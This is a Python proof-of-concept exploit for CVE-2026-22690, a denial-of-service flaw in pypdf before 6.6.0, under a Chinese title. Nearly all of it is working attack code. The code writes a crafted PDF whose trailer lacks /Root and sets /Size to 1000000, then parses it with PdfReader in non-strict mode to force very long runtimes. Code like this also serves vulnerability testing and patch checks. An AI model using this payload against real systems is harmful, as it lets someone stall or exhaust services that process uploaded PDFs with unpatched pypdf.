CVE-2026-22690 pypdf库拒绝服务漏洞

""" CVE-2026-22690 PoC - pypdf Denial of Service via Missing /Root with Large /Size This PoC demonstrates the vulnerability in pypdf < 6.6.0 where parsing a PDF with missing /Root entry and large /Size value causes long runtimes. Vulnerable condition: - PDF trailer missing /Root entry - PDF trailer has large /Size value (e.g., 1000000) - PDF read in non-strict mode (strict=False) Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-22690 """ import os import time from pypdf import PdfReader def create_malicious_pdf(filename, size_value=1000000): """ Create a malicious PDF with missing /Root and large /Size value. This triggers long runtime in pypdf < 6.6.0 non-strict mode. """ pdf_content = b"""% PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [] /Count 0 >> endobj xref 0 2 0000000000 65535 f 0000000009 00000 n trailer << /Size """ + str(size_value).encode() + b""" /Prev 0 >> startxref 0 %%EOF""" with open(filename, 'wb') as f: f.write(pdf_content) print(f"[+] Created malicious PDF: {filename}") print(f"[+] Size value set to: {size_value}") print(f"[+] Note: /Root entry is intentionally missing") def exploit(): """ Exploit function that triggers the vulnerability. """ poc_file = "cve_2026_22690_poc.pdf" # Create malicious PDF create_malicious_pdf(poc_file, size_value=1000000) print("\n[*] Attempting to parse the malicious PDF in non-strict mode...") print("[*] This may take a long time due to the vulnerability!\n") start_time = time.time() timeout = 30 # 30 second timeout try: # Vulnerable code path: non-strict mode reader = PdfReader(poc_file, strict=False) # This operation triggers the vulnerability num_pages = len(reader.pages) elapsed = time.time() - start_time print(f"[!] Parsing completed in {elapsed:.2f} seconds") print(f"[!] Target may be patched or timeout was reached") except Exception as e: elapsed = time.time() - start_time print(f"[!] Exception occurred after {elapsed:.2f} seconds: {e}") finally: # Cleanup if os.path.exists(poc_file): os.remove(poc_file) print(f"\n[+] Cleaned up {poc_file}") if __name__ == "__main__": print("=" * 60) print("CVE-2026-22690 pypdf DoS PoC") print("=" * 60) exploit()